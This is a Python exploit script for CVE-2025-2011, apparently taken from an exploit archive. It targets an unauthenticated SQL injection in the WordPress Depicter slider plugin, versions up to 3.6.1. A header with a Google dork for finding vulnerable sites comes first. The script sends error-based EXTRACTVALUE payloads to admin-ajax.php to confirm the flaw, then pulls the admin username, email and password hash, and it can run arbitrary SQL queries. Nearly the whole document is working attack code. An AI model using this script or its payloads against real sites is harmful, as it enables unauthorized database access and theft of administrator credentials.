
6 changes to exploits/shellcodes/ghdb Apache ActiveMQ 6.1.6 - Denial of Service (DOS) SureTriggers OttoKit Plugin 1.0.82 - Privilege Escalation WordPress Depicter Plugin 3.6.1 - SQL Injection Microsoft Windows 11 Pro 23H2 - Ancillary Function Driver for WinSock Privilege Escalation VirtualBox 7.0.16 - Privilege Escalation
232 lines
No EOL
9.3 KiB
Python
Executable file
232 lines
No EOL
9.3 KiB
Python
Executable file
# Exploit Title: WordPress Depicter Plugin 3.6.1 - SQL Injection
|
|
# Google Dork: inurl:/wp-content/plugins/depicter/
|
|
# Date: 2025-05-06
|
|
# Exploit Author: Andrew Long (datagoboom)
|
|
# Vendor Homepage: https://wordpress.org/plugins/depicter/
|
|
# Software Link: https://downloads.wordpress.org/plugin/depicter.3.6.1.zip
|
|
# Version: <= 3.6.1
|
|
# Tested on: WordPress 6.x
|
|
# CVE: CVE-2025-2011
|
|
|
|
# Description:
|
|
# The Slider & Popup Builder by Depicter plugin for WordPress is vulnerable to SQL Injection via the 's' parameter in all versions up to, and including, 3.6.1.
|
|
# The vulnerability exists due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.
|
|
# This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
|
|
|
|
# The vulnerability is located in the admin-ajax.php endpoint and can be exploited through the 's' parameter. The PoC demonstrates how to:
|
|
# 1. Check if a target is vulnerable
|
|
# 2. Extract admin user details
|
|
# 3. Execute custom SQL queries
|
|
|
|
# The exploit is provided as a Python script (poc.py) that includes:
|
|
# - Error-based SQL injection detection
|
|
# - Admin user information extraction
|
|
# - Custom SQL query execution capability
|
|
# - Debug mode for detailed output
|
|
|
|
|
|
#!/usr/bin/env python3
|
|
|
|
import argparse
|
|
import re
|
|
import sys
|
|
import time
|
|
import html
|
|
import urllib.parse
|
|
from urllib.parse import urlparse
|
|
|
|
try:
|
|
import requests
|
|
from colorama import Fore, Style, init
|
|
init(autoreset=True)
|
|
USE_COLOR = True
|
|
except ImportError:
|
|
class MockColorama:
|
|
def __getattr__(self, name):
|
|
return ""
|
|
|
|
Fore = Style = MockColorama()
|
|
USE_COLOR = False
|
|
|
|
print("[!] Missing dependencies. Install with: pip install requests colorama")
|
|
print("[!] Continuing without colored output...")
|
|
|
|
def print_banner():
|
|
banner = f"""
|
|
{Fore.CYAN}╔════════════════════════════════════════════════════════════════╗
|
|
{Fore.CYAN}║ {Fore.RED}CVE-2025-2011 - SQLi in Depicter Slider & Popup Builder <3.6.2 {Fore.CYAN}║
|
|
{Fore.CYAN}║ {Fore.GREEN}By datagoboom {Fore.CYAN} ║
|
|
{Fore.CYAN}╚════════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
|
|
"""
|
|
print(banner)
|
|
|
|
def verify_target(url):
|
|
parsed_url = urlparse(url)
|
|
if not parsed_url.scheme:
|
|
url = "http://" + url
|
|
if url.endswith('/'):
|
|
url = url[:-1]
|
|
|
|
print(f"{Fore.YELLOW}[*] Target URL: {url}")
|
|
return url
|
|
|
|
def test_connection(url):
|
|
try:
|
|
response = requests.get(url, timeout=10)
|
|
if response.status_code == 200:
|
|
print(f"{Fore.GREEN}[+] Successfully connected to the target")
|
|
return True
|
|
else:
|
|
print(f"{Fore.RED}[-] Received status code {response.status_code}")
|
|
return False
|
|
except requests.exceptions.RequestException as e:
|
|
print(f"{Fore.RED}[-] Connection error: {e}")
|
|
return False
|
|
|
|
def extract_data(url, sql_query, max_length=50, debug=False):
|
|
payload = f"test%' AND EXTRACTVALUE(1,CONCAT(0x7e,({sql_query}),0x7e))='&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index"
|
|
|
|
target_url = f"{url}/wp-admin/admin-ajax.php?s={payload}"
|
|
|
|
try:
|
|
if debug:
|
|
print(f"{Fore.BLUE}[DEBUG] Requesting: {target_url}")
|
|
|
|
response = requests.get(target_url, timeout=20)
|
|
|
|
if debug:
|
|
print(f"{Fore.BLUE}[DEBUG] Response status: {response.status_code}")
|
|
|
|
decoded_text = html.unescape(response.text)
|
|
|
|
error_pattern = r"XPATH syntax error: '~(.*?)~'"
|
|
match = re.search(error_pattern, decoded_text)
|
|
|
|
if match:
|
|
extracted_data = match.group(1)
|
|
return extracted_data
|
|
else:
|
|
if debug:
|
|
print(f"{Fore.RED}[-] No XPATH syntax error found in response")
|
|
if "XPATH syntax error" in decoded_text:
|
|
print(f"{Fore.RED}[-] XPATH error found but regex didn't match. Response excerpt:")
|
|
print(f"{Fore.RED}[-] {decoded_text[:500]}")
|
|
else:
|
|
print(f"{Fore.RED}[-] Response doesn't contain XPATH error. Response excerpt:")
|
|
print(f"{Fore.RED}[-] {decoded_text[:500]}")
|
|
return None
|
|
except requests.exceptions.RequestException as e:
|
|
print(f"{Fore.RED}[-] Error during extraction: {e}")
|
|
return None
|
|
|
|
def check_vulnerability(url, debug=False):
|
|
print(f"{Fore.YELLOW}[*] Checking if the target is vulnerable...")
|
|
|
|
result = extract_data(url, "database()", debug=debug)
|
|
|
|
if result:
|
|
print(f"{Fore.GREEN}[+] Target is VULNERABLE!")
|
|
print(f"{Fore.GREEN}[+] Database name: {result}")
|
|
return True
|
|
else:
|
|
result = extract_data(url, "VERSION()", debug=debug)
|
|
if result:
|
|
print(f"{Fore.GREEN}[+] Target is VULNERABLE!")
|
|
print(f"{Fore.GREEN}[+] MySQL version: {result}")
|
|
return True
|
|
else:
|
|
result = extract_data(url, "'test'", debug=debug)
|
|
if result:
|
|
print(f"{Fore.GREEN}[+] Target is VULNERABLE!")
|
|
print(f"{Fore.GREEN}[+] Test value: {result}")
|
|
return True
|
|
else:
|
|
print(f"{Fore.RED}[-] Target does not appear to be vulnerable")
|
|
manual_check = f"{url}/wp-admin/admin-ajax.php?s=test%' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))='&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index"
|
|
print(f"{Fore.YELLOW}[*] Try checking manually in your browser: \n{manual_check}")
|
|
return False
|
|
|
|
def extract_admin_details(url, debug=False):
|
|
print(f"{Fore.YELLOW}[*] Extracting admin user details...")
|
|
|
|
admin_username = extract_data(url, "SELECT user_login FROM wp_users WHERE ID=1 LIMIT 1", debug=debug)
|
|
|
|
if admin_username:
|
|
print(f"{Fore.GREEN}[+] Admin username: {admin_username}")
|
|
|
|
admin_email = extract_data(url, "SELECT user_email FROM wp_users WHERE ID=1 LIMIT 1", debug=debug)
|
|
if admin_email:
|
|
print(f"{Fore.GREEN}[+] Admin email: {admin_email}")
|
|
|
|
hash_left = extract_data(url, "SELECT LEFT(user_pass,30) FROM wp_users WHERE ID=1 LIMIT 1", debug=debug)
|
|
if hash_left:
|
|
hash_right = extract_data(url, "SELECT SUBSTRING(user_pass,31,30) FROM wp_users WHERE ID=1 LIMIT 1", debug=debug)
|
|
if hash_right:
|
|
full_hash = hash_left + hash_right
|
|
else:
|
|
print(f"{Fore.YELLOW}[*] Could not retrieve full hash - bcrypt hashes are typically 60 chars long")
|
|
print(f"{Fore.GREEN}[+] Admin password hash: {full_hash}")
|
|
else:
|
|
print(f"{Fore.RED}[-] Failed to extract admin password hash")
|
|
|
|
return {
|
|
"username": admin_username,
|
|
"email": admin_email,
|
|
"password_hash": hash_left
|
|
}
|
|
else:
|
|
print(f"{Fore.RED}[-] Failed to extract admin details")
|
|
return None
|
|
|
|
def extract_custom_data(url, query, debug=False):
|
|
print(f"{Fore.YELLOW}[*] Executing custom SQL query...")
|
|
print(f"{Fore.YELLOW}[*] Query: {query}")
|
|
|
|
result = extract_data(url, query, debug=debug)
|
|
|
|
if result:
|
|
print(f"{Fore.GREEN}[+] Result: {result}")
|
|
return result
|
|
else:
|
|
print(f"{Fore.RED}[-] Failed to execute query or no results returned")
|
|
return None
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description='CVE-2025-2011 - SQLi in Depicter Slider & Popup Builder')
|
|
parser.add_argument('-u', '--url', required=True, help='Target WordPress URL')
|
|
parser.add_argument('-m', '--mode', default='check', choices=['check', 'admin', 'custom'],
|
|
help='Extraction mode: check=vulnerability check, admin=admin details, custom=custom SQL query')
|
|
parser.add_argument('-q', '--query', help='Custom SQL query (use with -m custom)')
|
|
parser.add_argument('-d', '--debug', action='store_true', help='Enable debug output')
|
|
|
|
args = parser.parse_args()
|
|
|
|
print_banner()
|
|
|
|
target_url = verify_target(args.url)
|
|
|
|
if not test_connection(target_url):
|
|
print(f"{Fore.RED}[-] Exiting due to connection failure")
|
|
sys.exit(1)
|
|
|
|
if not check_vulnerability(target_url, debug=args.debug):
|
|
if args.mode != 'check':
|
|
print(f"{Fore.YELLOW}[!] Target may not be vulnerable, but continuing with requested mode...")
|
|
else:
|
|
print(f"{Fore.RED}[-] Exiting as target does not appear to be vulnerable")
|
|
sys.exit(1)
|
|
|
|
if args.mode == 'check':
|
|
pass
|
|
elif args.mode == 'admin':
|
|
extract_admin_details(target_url, debug=args.debug)
|
|
elif args.mode == 'custom':
|
|
if not args.query:
|
|
print(f"{Fore.RED}[-] Custom mode requires a SQL query (-q/--query)")
|
|
sys.exit(1)
|
|
extract_custom_data(target_url, args.query, debug=args.debug)
|
|
|
|
print(f"\n{Fore.YELLOW}[!] Exploitation complete")
|
|
|
|
if __name__ == "__main__":
|
|
main() |